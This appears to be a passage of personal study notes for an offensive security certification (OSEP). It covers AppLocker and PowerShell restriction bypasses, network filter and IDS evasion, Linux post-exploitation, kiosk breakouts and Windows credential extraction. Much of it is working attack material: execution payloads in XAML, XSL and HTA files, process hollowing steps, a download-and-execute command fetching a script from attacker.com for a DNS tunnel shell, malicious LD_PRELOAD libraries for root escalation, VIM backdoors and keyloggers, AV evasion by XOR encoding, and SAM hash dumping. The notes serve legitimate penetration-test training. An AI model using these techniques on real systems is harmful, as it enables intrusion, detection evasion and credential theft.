pipeline.Invoke();
rs.Close();
}
}
Why this works: Custom runspaces created through C# bypass the CLM restrictions applied to interactive PowerShell sessions. The runspace inherits minimal CLM constraints when created programmatically.
CLM Bypass via PowerShell Downgrade
Older PowerShell versions (v2) have weaker security:
powershell -version 2 -Command "Get-Process"
Why this works: PowerShell v2 predates CLM and has fewer security restrictions. Many systems still have v2 available for backward compatibility.
Reflective Injection
Loading .NET assemblies directly into memory bypasses file-based AppLocker rules:
byte[] shellcode = Convert.FromBase64String("BASE64_ENCODED_ASSEMBLY");
Assembly assembly = Assembly.Load(shellcode);
MethodInfo method = assembly.GetType("Namespace.Class").GetMethod("Main");
method.Invoke(null, null);
Why this works: The assembly is loaded from memory, never written to disk, so AppLocker file execution rules don't apply. Hash-based and path-based rules are bypassed entirely.
Bypassing AppLocker with C#
Locating Target Applications
Identify applications that can be abused for code execution:
- Microsoft.Workflow.Compiler.exe - Allows XAML file compilation
- msbuild.exe - Can compile C# code from project files
- csc.exe - C# compiler, compiles source directly
- RegSvcs.exe - Registers .NET assemblies, can load and execute code
- InstallUtil.exe - Can execute code during assembly registration
Reverse Engineering for Load
Use dnSpy to analyze binaries and identify:
- Execution flow and entry points
- Unsafe deserialization patterns
- Plugin loading mechanisms
- File type associations
dnspy.exe C:\Path\To\Binary.exe
Why this matters: Understanding how a binary loads and executes code reveals vectors for injection.
XML Deserialization Attack
Many applications deserialize XML without proper validation:
<?xml version="1.0" encoding="utf-8"?>
<ObjectDataProvider xmlns="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:sd="clr-namespace:System.Diagnostics;assembly=System">
<ObjectDataProvider.MethodParameters>
<sd:ProcessStartInfo FileName="cmd.exe" Arguments="/c calc.exe" />
</ObjectDataProvider.MethodParameters>
<ObjectDataProvider MethodName="Start" ObjectType="{x:Type sd:Process}"/>
</ObjectDataProvider>
Why this works: Unsafe deserialization interprets XAML/XML as object instantiation instructions, allowing arbitrary code execution through standard .NET classes.
Microsoft.Workflow.Compiler
This tool compiles XAML workflows to .NET assemblies. Abuse vector:
Microsoft.Workflow.Compiler.exe malicious.xaml output.exe
Create a malicious XAML file with embedded commands that execute during compilation. The resulting EXE inherits whitelist trust from the compiler itself.
Why this works: The compiler is trusted (Microsoft-signed), and its output is often whitelisted. The compilation process executes arbitrary logic embedded in XAML.
Code Execution Methods
- Direct Method Invocation: Use reflection to call public methods on loaded classes
- Static Constructor Execution: Code in static constructors runs during class loading
- Property Instantiation: Accessing properties during deserialization can trigger code
- Delegate Invocation: Serialized delegates execute when deserialized
Bypassing AppLocker with JScript
MSHTA Execution
MSHTA (Microsoft HTML Application host) can execute JScript embedded in HTA files:
<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("WScript.Shell")
objShell.Run("cmd.exe /c calc.exe"), 0, True
</script>
</head>
<body></body>
</html>
Execute with:
mshta.exe script.hta
Why this works: MSHTA is a legitimate Microsoft tool for executing HTML applications. JScript/VBScript executed within HTA files can use WScript.Shell COM objects for command execution.
XSL Transform Execution
XSL stylesheets can execute arbitrary code during transformation:
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string Execute() {
System.Diagnostics.Process.Start("cmd.exe", "/c calc.exe");
return "executed";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:Execute()"/>
</xsl:template>
</xsl:stylesheet>
Transform via:
wmic os get csname /format:custom.xsl
Why this works: XSL transformations allow embedded C# code execution. WMIC applies the transform, executing the embedded code. The code runs in the context of WMIC (often whitelisted).
Chapter 9: Bypassing Network Filters
DNS Filters
DNS filtering blocks access to malicious domains by returning NXDOMAIN or sinkhole IPs for known malicious domains. The filter maintains a database of suspicious domains and intercepts DNS queries at the network level.
How DNS Filtering Works
- Client sends DNS query for domain
- Filter checks domain against blocklist
- If blocked: returns sinkhole IP (often 0.0.0.0 or ISP's sinkhole server)
- If allowed: forwards query to legitimate DNS server
- Client receives response and connects to the returned IP
Bypass Techniques
1. Domain Reputation Evasion Use domains with good reputation or newly registered domains:
C:\> nslookup newly-registered-domain.com
Why: New domains lack reputation history; filters rely on reputation databases that update periodically.
2. Subdomain Abuse Parent domain may be trusted while subdomains can be controlled:
C:\> nslookup attacker.legit-company.com
Why: Filters often whitelist parent domains; subdomain hosting is frequently allowed for legitimate purposes.
3. DNS Over HTTPS (DoH) Encrypt DNS queries to bypass local DNS inspection:
C:\> curl --doh-url https://dns-provider.com/dns-query https://malicious-domain.com
Why: Queries are encrypted end-to-end; local DNS filter cannot see the domain being queried.
4. Null Byte Injection Some filters parse domain names incorrectly:
malicious.com%00.legit.com
Why: Parser processes only the legitimate domain while the backend connects to the malicious domain.
Web Proxies
Web proxies intercept HTTP/HTTPS traffic and filter requests based on URL categories, keywords, and malware signatures. Organizations deploy proxies to prevent access to dangerous or non-business websites.
Proxy Operation
- Client sends HTTP request to proxy
- Proxy examines request URL and headers
- Proxy checks against blocklist/content filter
- If allowed: request forwarded to destination
- If blocked: user receives block page
Bypass Techniques
1. IP-Based Access Access the destination server directly by IP, bypassing hostname filtering:
C:\> curl http://192.168.1.100
Why: Proxy filters often inspect domain names; direct IP access has no domain to filter.
2. Tunneling Create encrypted tunnel through allowed connection:
C:\> ssh -D 9050 attacker@server.com
Use as SOCKS5 proxy for all traffic:
C:\> curl --socks5 localhost:9050 http://malicious-site.com
Why: Proxy sees encrypted tunnel traffic, not the actual requests inside. Tunnel destination is often whitelisted.
3. Alternative Protocols Use protocols the proxy doesn't filter:
C:\> raw TCP connections to non-standard ports
Why: Proxies typically filter HTTP/HTTPS on standard ports. Alternative ports and protocols are often unfiltered.
IDS/IPS Sensors and Signature Detection
Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS) analyze network traffic for malicious signatures and anomalous behavior. They detect known attack patterns and can block traffic in real-time (IPS) or alert (IDS).
Signature-Based Detection
- Traffic captured and analyzed
- Payload compared against signature database (known malware/exploits)
- Alerts generated on match
- IPS can drop/reject malicious packets
Evasion Techniques
1. Payload Fragmentation Split malicious payload across multiple packets:
Original: [GET /admin.php?cmd=whoami HTTP/1.1]
Fragmented: [GET /admin.php?cmd=who][ami HTTP/1.1]
Why: Signatures match contiguous patterns. Fragmentation breaks the signature match while reassembly at destination reconstructs the payload.
2. Encryption Encrypt payload content:
C:\> openssl enc -aes-256-cbc -S salt < payload > encrypted_payload
Why: IDS cannot pattern-match encrypted content; signature database only has plaintext signatures.
3. Polymorphic Encoding Encode payload differently each execution:
xor_encode(payload, random_key)
Why: Same malicious code produces different bytes each time. Static signatures never match the encoded version.
4. Protocol Anomalies Use protocol violations the IDS overlooks:
HTTP/1.1 with invalid headers, fragmented HTTP requests
Why: IDS may normalize traffic before inspection; endpoint may accept malformed traffic that signature misses.
Norton HIPS Case Study
Norton Host-based Intrusion Prevention System (HIPS) monitors process execution, file operations, and registry modifications on individual hosts. It uses behavioral rules to detect suspicious activity patterns.
Norton HIPS Protection
Norton HIPS protects against:
- Process injection and code execution
- Suspicious file operations (writing to system directories)
- Registry modifications that affect security settings
- Privilege escalation attempts
- Suspicious network connections
Norton HIPS Bypass Vectors
1. Living off the Land Use trusted system binaries (LOLBins) that HIPS whitelists:
rundll32.exe javascript:"some code"
certutil.exe -encode input.txt output.txt
Why: HIPS trusts built-in Windows tools. Using them for unintended purposes bypasses behavioral monitoring.
2. Process Hollowing (Process Replacement) Spawn legitimate process and replace its memory:
- Create suspended process (e.g., svchost.exe)
- Unmap original executable from memory
- Inject malicious code into unmapped space
- Resume process execution
// Pseudocode
CreateProcessA(lpApplicationName, lpCommandLine, ..., CREATE_SUSPENDED, ...)
NtUnmapViewOfSection(hProcess, pImageBase)
VirtualAllocEx(hProcess, pImageBase, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
WriteProcessMemory(hProcess, pImageBase, shellcode, size, ...)
ResumeThread(hThread)
Why: HIPS sees a trusted process (svchost.exe) starting normally. Injection occurs after process startup, evading behavioral triggers.
3. Legitimate Application Abuse Applications with dynamic code execution capabilities:
- Microsoft Office macros
- PDF readers with JavaScript
- Game engines with scripting
- Database engines with stored procedures
Why: HIPS whitelists these applications for legitimate use. Using them for unintended execution is harder to detect behaviorally.
Full Packet Capture
Full packet capture (pcap) records all network traffic on a network segment. Security analysts use packet captures to investigate incidents and reconstruct attacker activity.
Packet Capture Evasion
1. Encryption Use HTTPS/TLS to encrypt traffic:
C:\> curl https://malicious-domain.com
Packets show encrypted bytes; payload cannot be inspected.
Why: Packet capture sees only encrypted bytes, not decrypted content. Without decryption keys, the attacker's actual commands remain hidden.
2. Traffic Obfuscation Hide command traffic within normal-looking protocol traffic:
Tunnel commands through DNS queries and responses
Embed payloads in image metadata
Covert channel via packet timing
Why: Defender examining packets sees normal protocol traffic. Actual commands are hidden in noise or require special decoding.
HTTPS Inspection and TLS Interception
Enterprises deploy HTTPS inspection to monitor encrypted traffic. Man-in-the-middle (MITM) proxies intercept TLS connections, decrypt traffic, inspect it, and re-encrypt to the client.
HTTPS Inspection Mechanism
- Client initiates TLS handshake to destination
- MITM proxy intercepts connection
- Proxy completes TLS handshake with client (using proxy's cert)
- Proxy initiates TLS handshake with destination
- Proxy sits between client and server, decrypting/re-encrypting traffic
HTTPS Inspection Evasion
1. Certificate Pinning Client validates server certificate matches a pinned certificate:
var handler = new HttpClientHandler();
handler.ServerCertificateCustomValidationCallback = (message, cert, chain, errors) => {
return cert.Thumbprint == "ExpectedThumbprint";
};
Why: Pinned certificate check fails when MITM proxy presents its own certificate. Connection refuses to proceed.
2. Client Certificates Mutual TLS (mTLS) requires the client to present a certificate:
curl --cert client.crt --key client.key https://destination.com
Why: Destination server validates client certificate. Proxy cannot reissue client certs without the private key.
3. Out-of-Band Channels Use non-HTTP protocols that skip proxy inspection:
SSH tunneling, VPN, raw TCP sockets
Why: Non-HTTP protocols may bypass the HTTPS inspection appliance. Encrypted tunnels encapsulate the actual command traffic.
Domain Fronting with Azure CDN
Domain fronting uses a legitimate CDN to route requests to an attacker-controlled backend. The Host header specifies an attacker domain while the SNI (Server Name Indication) and certificate validate for the legitimate CDN domain.
Domain Fronting Mechanics
- Attacker registers a domain (attacker.com)
- Attacker's domain is configured on Azure CDN
- Azure CDN points to attacker's backend
- Client connects to Azure's IP address (appears legitimate)
- Host header in HTTP request specifies attacker.com
- Azure forwards request based on Host header to attacker's backend
Setup Example
Azure CDN Configuration:
- Create CDN endpoint on Azure
- Add custom domain (attacker.com) to CDN
- Point custom domain to attacker infrastructure
- Certificate issued by Azure (*.azureedge.net or custom domain)
Client Request:
GET / HTTP/1.1
Host: attacker.com
Connects to Azure CDN IP (legitimate in reputation databases) but Host header routes to attacker infrastructure.
Why Domain Fronting Works
- Network filter sees connection to legitimate Azure CDN IP (whitelisted)
- HTTP-level inspection sees Host: attacker.com (may be blocked)
- But if firewall only inspects IP-level (not HTTP headers), payload reaches attacker
- Certificate validation passes because Azure issued it
Evasion Against Domain Fronting Detection
1. Multiple Domains Use different attacker domains for different requests:
Request 1: Host: attacker1.com
Request 2: Host: attacker2.com
Why: Single domain pattern is easier to detect. Multiple domains appear as normal CDN usage.
2. Legitimate Content Mixing Mix actual CDN requests with command traffic:
GET /images/logo.png HTTP/1.1
GET /api/command HTTP/1.1
Why: Legitimate content requests hide malicious requests in normal traffic flow.
DNS Tunneling with dnscat2
DNS tunneling encapsulates command traffic inside DNS queries and responses. DNS packets are small and often allowed by network filters designed for legitimate DNS traffic.
DNS Tunneling Mechanics
- Attacker sets up dnscat2 server controlling a domain (attacker.com)
- Victim runs dnscat2 client
- Client encodes commands as DNS subdomains
- Queries sent:
[base64_encoded_command].attacker.com - dnscat2 server decodes subdomain, executes command
- Response encoded into DNS TXT records
- Client reads TXT records, decodes response
dnscat2 Example
Server Setup:
ruby dnscat2.rb attacker.com
Client Execution:
cd C:\temp
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/dnscat2.ps1')"
dnscat2 attacker.com
This initiates a command shell over DNS:
dnscat> shell
[shell] executed
Why DNS Tunneling Evades Detection
- DNS queries appear legitimate to content filters (DNS is required)
- Payload is fragmented across many DNS transactions
- DNS is low-bandwidth; command output sent in chunks
- Network monitors may allow DNS but block HTTP/HTTPS
- Signature-based IDS sees DNS queries, not encoded commands inside
- Encryption within DNS queries makes payload analysis difficult
DNS Tunneling Advantages
- Bypasses HTTP/HTTPS proxies (uses DNS instead)
- Evades IDS signature matching (commands encoded in DNS)
- Works through restricted firewall rules that allow DNS
- Provides two-way command channel (queries and responses)
- Difficult to filter without blocking all DNS
Summary of Defense Evasion Techniques
| Control | Bypass Method | Mechanism |
|---|---|---|
| AppLocker | Reflective Injection | Load assembly from memory, no disk write |
| AppLocker | XML Deserialization | Abuse .NET deserialization in trusted apps |
| AppLocker | MSHTA/XSL | Use trusted Microsoft tools for code execution |
| DNS Filter | DoH/Alternative DNS | Encrypt queries or use alternative protocols |
| Web Proxy | IP-Based Access | Connect directly to server IP, no domain filtering |
| IDS/IPS | Payload Fragmentation | Split malicious signature across packets |
| HIPS | Living Off the Land | Use whitelisted system binaries |
| HTTPS Inspection | Certificate Pinning | Validate specific server cert, reject proxy cert |
| Network Filters | Domain Fronting | Legitimate CDN IP with malicious Host header |
| Network Filters | DNS Tunneling | Command C2 over DNS instead of HTTP |
OSEP Study Notes: Chapters 10-11
Chapter 10: Linux Post-Exploitation
Linux dominates as the OS for servers, cloud environments, supercomputers, and IoT devices. Post-exploitation techniques extend beyond initial enumeration and basic exploitation, providing multiple attack vectors depending on the Linux environment type.
10.1 User Configuration Files
User-specific configuration files (dotfiles) are stored in home directories and prepended with a period. These control application behavior for specific users and are typically writable only by the user or root. Two common examples are .bash_profile (executed at login) and .bashrc (executed when starting a new shell or login window).
These files can be modified to set environment variables, load scripts, or run commands when users log in—providing attack vectors for persistence and privilege escalation.
10.1.1 VIM Config Simple Backdoor
VIM is widely used on Linux and Unix systems with extensive functionality. User-specific VIM configuration is stored in ~/.vimrc file. Commands can be run from within the editor by typing a colon (:) followed by the command. These commands can also be placed directly in the .vimrc file or loaded via plugin directories.
Key technique: Insert shell commands in .vimrc using the source command to load shell scripts:
echo ":source ~/.vimrunscript" >> ~/.bashrc
Alternative approach - VIM plugin directory:
- Files with
.vimextension in~/.vim/plugin/are automatically loaded when VIM starts - More stealthy than modifying
.vimrcdirectly
Executing commands via VIM backdoor:
vi /tmp/test.txt
:shell
Elevation via sudo:
- If user runs VIM with sudo privileges, gained shell executes as root
- Check sudo rights:
sudo -l - Some systems use
sudoeditwhich copies files for editing, limiting this attack
Note: On Ubuntu/Red Hat systems running vim via sudo, the current user's .vimrc is used. On Debian systems, the root user's .vimrc is used in a sudo context. For systems not persisting user environment with sudo, modify sudo alias:
alias sudo="sudo -E"
10.1.2 VIM Config Simple Keylogger
VIM's autocommand feature triggers actions on specific events. The BufWritePost event fires after writing a buffer to a file. This allows logging file changes without suspicion.
Autocommand syntax:
:autocmd <event> * <silent> :w! >> /tmp/hackedfrommvim.txt
Example - Log all file edits as root via sudo:
Create a gtkdialog-based terminal UI that runs as root, then modify ~/.vimrc to execute a command that logs file changes. When user runs sudo vi /tmp/test.txt, the keylogger writes to files accessible to root.
Setup:
- Create autocommand in
.vimrcfile - Set conditions using
ifstatements to check environment variables (e.g.,if $USER == "root") - Use
BufWritePostevent to trigger logging on file writes - Direct output to
/tmp/hackedfrommvim.txtwith redirection operators
This provides attack vector for capturing sensitive data when user has elevated permissions.
10.2 Bypassing AV
Linux antivirus solutions are less commonly deployed than Windows solutions but can be found on business-critical servers. When present, they tend to be less sophisticated than Windows counterparts.
10.2.1 Kaspersky Endpoint Security
Kaspersky provides real-time protection and can be disabled using the kesl-control utility. The --stop-t flag stops a specified task; real-time protection runs as task 1.
Disable real-time protection:
sudo kesl-control --stop-t 1
Test detection with EICAR test file:
sudo kesl-control --scan-file ./eicar.txt
Query event logs to view detections:
sudo kesl-control -E --query | grep DetectName
Key insight: Kaspersky detection is signature-based. Encoding shellcode (e.g., XOR cipher) with custom encoders can bypass detection. Test against Antiscan.me before deployment.
AV bypass with C wrapper:
- Generate shellcode with msfvenom
- Create C program that decodes and executes shellcode at runtime
- Compile with position-independent code flags:
-fPICand-z execstack - Wrap shellcode in encoder program using XOR cipher
10.2.2 Antiscan.me
This service checks files against 26+ antivirus scanners. Files must have .exe extension; rename encoded shells accordingly.
Key steps:
- Generate unencoded shellcode
- XOR-encode the shellcode using custom encoder
- Create C wrapper that decodes shellcode using XOR operation
- Compile as binary
- Rename to
.exeextension - Upload to Antiscan.me
Result: XOR-based obfuscation bypassed all 26 scanners tested, showing minimal effort required to evade some AV products.
10.3 Shared Libraries
Shared libraries on Linux are similar to DLLs on Windows. Programs load shared libraries from specific directories in a known order, providing attack vectors through library hijacking.
10.3.1 How Shared Libraries Work on Linux
Programs use Executable and Linkable Format (ELF) on Linux vs Portable Executable (PE) on Windows. Both systems share code through reusable library modules.
Library search order (when application runs):
- Directories listed in application's RPATH value
- Directories specified in LD_LIBRARY_PATH environment variable
- Directories listed in application's RUNPATH value
- Directories specified in
/etc/ld.so.conf - System library directories:
/lib,/lib64,/usr/lib,/usr/lib64,/usr/local/lib,/usr/local/lib64
Key insight: Because search order is predictable, malicious versions of libraries can be placed earlier in the chain to hijack loading behavior.
10.3.2 Shared Library Hijacking via LD_LIBRARY_PATH
The LD_LIBRARY_PATH environment variable allows users to override default library loading behavior. Setting this variable directs programs to use custom versions of libraries before system libraries.
Create malicious shared library:
Save to /home/offsec/ldlib/hex.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void runmahpayload() __attribute__((constructor));
void runmahpayload() {
setuid(0);
setgid(0);
printf("DLL HIJACKING IN PROCESS \n");
system("touch /tmp/haxso.txt");
}
Compile malicious library:
gcc -Wall -fPIC -c -o hax.o hex.c
gcc -shared -o libhax.so hax.o
Key compiler flags:
-Wall: verbose warnings-fPIC: position-independent code (required for shared libraries)-c: compile without linking-o: output file-shared: create shared library from object file
Symbol handling:
When program loads library and missing symbols are encountered, use readelf to extract symbols from original library and define them in malicious version.
Extract symbols:
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print "int " $8 " = 0;}'
This creates variable definitions in malicious code to satisfy symbol requirements.
Deploy malicious library with LD_LIBRARY_PATH:
export LD_LIBRARY_PATH=/home/offsec/ldlib/
cp libhax.so libgpg-error.so
./top
Target application: The top command is commonly run with sudo and loads many libraries, making it good target.
Privilege escalation via sudo alias:
Create alias to pass LD_LIBRARY_PATH through sudo:
alias sudo="sudo LD_LIBRARY_PATH=/home/offsec/ldlib"
Then source .bashrc to load changes:
source ~/.bashrc
sudo top
Note: LD_LIBRARY_PATH is ignored for setuid binaries unless env_reset is disabled or env_keep is set in /etc/sudoers.
10.3.3 Exploitation via LD_PRELOAD
LD_PRELOAD environment variable forces the dynamic linker to load specified library before any others. Unlike LD_LIBRARY_PATH, it works even when original libraries are loaded, allowing function hooking.
Key difference: Libraries specified by LD_PRELOAD are loaded before all others, allowing you to override functions and still call the original implementation.
Technique:
- Hook desired function (e.g.,
getuid()) - Define pointer to original function using
typeof()anddlsym() - Use
dlsym(RTLD_NEXT, "getuid")to get address of original function - Create wrapper that executes malicious code, then calls original function
- Use
fork()to spawn shell in background so program returns normally
Payload structure:
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>
uid_t getuid(void) {
if (fork() == 0) {
// Shell code in child process
} else {
// Call original getuid
return old_getuid();
}
}
Compilation:
gcc -Wall -fPIC -z execstack -o evil_getuid.o -c evil_getuid.c
gcc -shared -o evil_getuid.so evil_getuid.o -ldl
Execution with reverse shell:
export LD_PRELOAD=/home/offsec/evil_getuid.so
cp /etc/passwd /tmp/testpasswd
Privilege escalation with sudo:
Modify sudo alias to include LD_PRELOAD:
alias sudo="sudo LD_PRELOAD=/home/offsec/evil_getuid.so"
When user runs sudo command, malicious library loads before system libraries, executing payload as root.
Advantages over LD_LIBRARY_PATH:
- Works even when original libraries are present
- Function hooking allows selective interception
- Less likely to break application functionality
- Payload executes in background while program continues normally
10.4 Wrapping Up
Chapter 10 covers multiple Linux post-exploitation vectors:
- User configuration files (VIM backdoors, keyloggers)
- AV bypass techniques (Kaspersky, Antiscan.me using XOR encoding)
- Shared library hijacking (LD_LIBRARY_PATH and LD_PRELOAD)
Understanding Linux weaknesses enables offensive security professionals to conduct thorough assessments against Linux-based systems.
Chapter 11: Kiosk Breakouts
Interactive kiosks are public-facing systems designed with restrictive interfaces and limited functionality. They run mainstream operating systems with thin interface layers, providing attack surface through browser exploitation, configuration manipulation, and privilege escalation.
11.1 Kiosk Enumeration
Kiosks are designed with limited functionality, so enumeration must use available tools. Unlike typical penetration tests with specialized tools, live off the land approach using existing system utilities.
11.1.1 Kiosk Browser Enumeration
Since kiosk interfaces offer limited functionality, the Firefox browser becomes primary interaction vector. Exploring the browser interface reveals information about the system.
Navigation techniques:
- Use arrow keys, back/forward buttons, refresh, zoom, and new tab functionality
- Interact with address bar through URL suggestions
- Test keyboard shortcuts (Alt+Tab may reveal other running processes)
- Explore browser developer tools and preferences
Key discovery: Accessing Firefox internal keywords (like about:config) is blocked, but preferences icon reveals restrictions. Address bar interaction with special protocols (like irc://) may launch system dialogs.
Firefox profile analysis:
- Default Firefox profile stores user data in
~/.mozilla/firefox/[profile].default/ - Profile contains bookmarks, history, stored data, and certificates
- Multiple profiles can exist; launch with
-Pflag to select specific profile
Protocol handler discovery:
irc://,mailto:, and other custom protocols may launch external applications- Browser's "Launch Application" dialog allows selecting applications to handle protocols
- This becomes exploit vector for command execution
11.2 Command Execution
Once browser restrictions are identified, command execution vectors become available through protocol handlers and application launchers.
11.2.1 Exploring the Filesystem
File browser via protocol handler:
irc://myhost
This launches the "Launch Application" dialog. Selecting "Choose other Application" opens file browser allowing filesystem exploration. By navigating to /bin/ or other system directories, various utilities become available.
Available utilities in /bin/:
bash- command shell (won't work in graphical environment)busybox- combines common Unix utilitiesdmesg- view kernel messagescat,chmod,chown,cp,date- standard utilities
Key insight: busybox is extremely useful as it provides shell functionality in a single binary, combining many Unix utilities.
11.2.2 Firefox Profiles and Configuration
Firefox can launch with alternate profiles using -P flag. This allows bypassing restrictions set in the default kiosk profile.
Creating new profile:
irc://myhost -P "haxor"
New profile doesn't have kiosk restrictions applied, providing unrestricted browser access.
Leveraging Firefox unrestricted instance:
- Access about:config, developer tools, extensions
- Install new extensions or bypass filtering
- Access network tools and features unavailable in kiosk profile
11.2.3 Enumerating System Information
Read-only enumeration via file:// protocol:
Once unrestricted browser access is achieved, enumerate system configuration:
file:///etc/passwd
Shows valid login users, UIDs, and default shell information.
file:///proc/version
Reveals kernel version and compilation date, indicating potential direct kernel exploits.
Filesystem browsing: Manually navigate directory structure to discover:
- System configuration files
- Application binaries and locations
- User home directories
- Temporary files and caches
11.2.4 Scratching the Surface
Firefox includes developer tools (accessed via hamburger menu) allowing:
- JavaScript console execution
- HTML/DOM inspection
- Network monitoring
- Storage inspection
Scratchpad tool: Firefox's Scratchpad allows writing and executing JavaScript. This can:
- Write files to home directory using file I/O APIs
- Execute system commands (limited by browser sandbox)
- Interact with local system
11.3 Post-Exploitation
After basic command execution, interactive shell becomes necessary for effective post-exploitation.
11.3.1 Simulating an Interactive Shell
GTKDialog provides graphical interface building using HTML-style markup. It accepts input elements and can execute commands via actions.
Terminal window markup (Listing 516):
<window>
<vbox>
<vbox scrollable="true" width="500" height="400">
<edit>
<variable>CMDOUTPUT</variable>
<input file>/tmp/termout.txt</input>
</edit>
</vbox>
<hbox>
<text><label>Command:</label></text>
<entry><variable>CMDTORUN</variable></entry>
<button>
<label>Run!</label>
<action>$CMDTORUN > /tmp/termout.txt</action>
<action>refresh:CMDOUTPUT</action>
</button>
</hbox>
</vbox>
</window>
Key elements:
<edit>displays text read from file with variable substitution<input file>populates element from file contents<entry>accepts user text input with<variable>tag for bash substitution<action>executes commands when button clickedrefresh:refreshes display element with updated file contents
Workflow:
- User enters command in entry box
- Click "Run!" button
- Action redirects command output to
/tmp/termout.txt - Refresh action updates display with new output
- Creates pseudo-terminal interface
11.4 Privilege Escalation
After gaining interactive shell, focus shifts to escalating privileges to root.
11.4.1 Thinking Outside the Box
Enumerate SUID binaries:
find / -perm -4000 -exec ls -al {} \; 2>/dev/null
Common vulnerable SUID binaries: /usr/sbin/mtr, /usr/bin/xlock, others.
Identify running processes:
ps aux | grep root
Look for root-owned processes that might be exploitable. In kiosk environments, openbox window manager often runs as root for managing X session.
Openbox discovery:
ps aux | grep root | grep openbox
The openbox process runs with --startup parameter pointing to startup script. This script, if writable or if its parent directory is writable, becomes privilege escalation vector.
11.4.2 Root Shell at the Top of the Hour
Cron jobs provide persistent privilege escalation if writable directories exist. The /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, and /etc/cron.monthly/ directories accept root-owned files.
Key finding: /etc/cron.hourly/ often lacks stringent requirements on file ownership/permissions compared to /etc/cron.d/ or root crontabs.
Exploit approach:
- Create symlink to privileged location:
ln -s /usr/bin /home/guest/.mozilla/firefox/c3pp43bg.default
- Place malicious bookmarks file in symlink location as root-owned shell script
- When openbox restarts, Firefox recreates bookmarks file
- Cron job executing bookmarks file runs as root
Script to set SUID bit:
#!/bin/bash
chown root:root /home/guest/busybox
chmod +s /home/guest/busybox
- Wait for cron execution (hourly)
- Copied busybox binary becomes SUID root-owned
- Execute
busybox shto get root shell
Firefox bookmark file structure: Bookmarks are HTML-based; when kiosk resets X session, Firefox regenerates file automatically.
11.4.3 Getting Root Terminal Access
Once SUID binary available, final step is establishing interactive root terminal.
Virtual terminal access: Linux systems have built-in virtual consoles (TTYs) accessible via Ctrl+Alt+F1 through Ctrl+Alt+F6. However, in restricted kiosk environments, these keystrokes may be disabled.
Workaround - Enable VT switching:
- Copy
/etc/X11/xorg.conf.d/10-xorg.confto writable location - Edit to comment out
DontVTSwitchoption (disables VT switching) - Use XDG_RUNTIME_DIR override to write modified config
- Restart X session via
openbox --replace - Re-enable VT switching to switch to TTY
TTY configuration via /etc/inittab:
Modify inittab to define TTYs:
# Standard console login
id:c1:respawn:/sbin/getty 38400 tty1 linux
Command to send VT switch via xdotool:
xdotool key Ctrl+Alt+F3
This switches to TTY3, presenting login prompt. Login as root with obtained shell access.
Quality of life improvements: Once root terminal established, full system control enables:
- Installing backdoors
- Accessing network
- Modifying system configuration
- Pivoting to backend systems
11.5 Windows Kiosk Breakout Techniques
Windows kiosks use similar restrictive interface approach. Attack methodology parallels Linux techniques but leverages Windows-specific features:
- Task Manager enumeration
- Registry modification
- Windows service exploitation
- Group Policy bypass
The fundamental principle remains: restrictive kiosk interfaces still run full operating systems with standard applications and configurations available for exploitation.
Summary
Chapter 10 - Linux Post-Exploitation:
- User configuration files enable persistence through VIM backdoors and keyloggers
- Antivirus bypass requires custom encoding and obfuscation techniques
- Shared library hijacking via LD_LIBRARY_PATH and LD_PRELOAD provides privilege escalation vectors
Chapter 11 - Kiosk Breakouts:
- Browser enumeration reveals system information and available applications
- Protocol handlers and file browsers provide filesystem access
- GTKDialog-based pseudo-terminals enable interactive command execution
- Cron jobs and SUID binaries offer privilege escalation to root
- Virtual terminal switching grants root shell access to compromised kiosks
Both chapters demonstrate that restrictive interfaces on Linux systems, while adding security layers, don't prevent exploitation when attackers understand underlying operating system mechanisms.
OSEP Study Notes - Chapters 12 & 13
Chapter 12: Windows Credentials
12.1 Local Windows Credentials
12.1.1 SAM Database
Theory: The Security Account Manager (SAM) database stores local user credentials as NTLM password hashes. These are stored in the Registry at C:\Windows\System32\config\SAM. The SYSTEM file contains encryption keys needed to decrypt the SAM hashes. Both files are locked by the SYSTEM process while Windows is running.
Key Concepts:
- Security Identifiers (SID) format:
S-1-5-21-xxxxxxxx-xxxxxxxx-xxxxxxxx-RID - Default local Administrator has RID 500
- NTLM hashing uses MD4 algorithm
Extracting SAM Database:
Create a shadow volume to access locked SAM and SYSTEM files:
C:\> wmic shadowcopy call create Volume="C:\"
C:\> vssadmin list shadows
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system
Alternatively, use Registry to export:
C:\> reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam
C:\> reg save HKLM\system C:\users\offsec.corp1\Downloads\system
Decrypt SAM Hashes: Use Creddump7 with pwdump.py script
python pwdump.py /home/kali/system /home/kali/sam
Why: Shadow copies bypass SYSTEM lock on SAM file. Creddump7 decrypts RC4/AES encrypted hashes using keys from SYSTEM file.
12.1.2 Hardening the Local Administrator Account
Theory: Group Policy Preferences (GPP) previously stored admin passwords in XML files accessible to domain users. Microsoft patched this vulnerability (MS14-025) but old GPP files may still exist. LAPS (Local Administrator Password Solution) provides secure centralized management.
LAPS Enumeration:
Use LAPSToolkit to find computers with LAPS configured:
Import-Module .\LAPSToolkit.psl
Get-LAPSComputers
Find-LAPSDelegatedGroups
Get-NetGroupMember -GroupName "LAPS Password Readers"
Why: Identifies which users have read permissions for LAPS passwords, allowing targeted credential theft.
Extract LAPS Passwords (if user has read permissions):
Get-LAPSComputers
Why: LAPS stores clear-text local admin passwords in Active Directory when properly configured.
12.2 Access Tokens
12.2.1 Access Token Theory
Theory: Windows creates access tokens during user authentication containing:
- User SID (Security Identifier)
- Group memberships
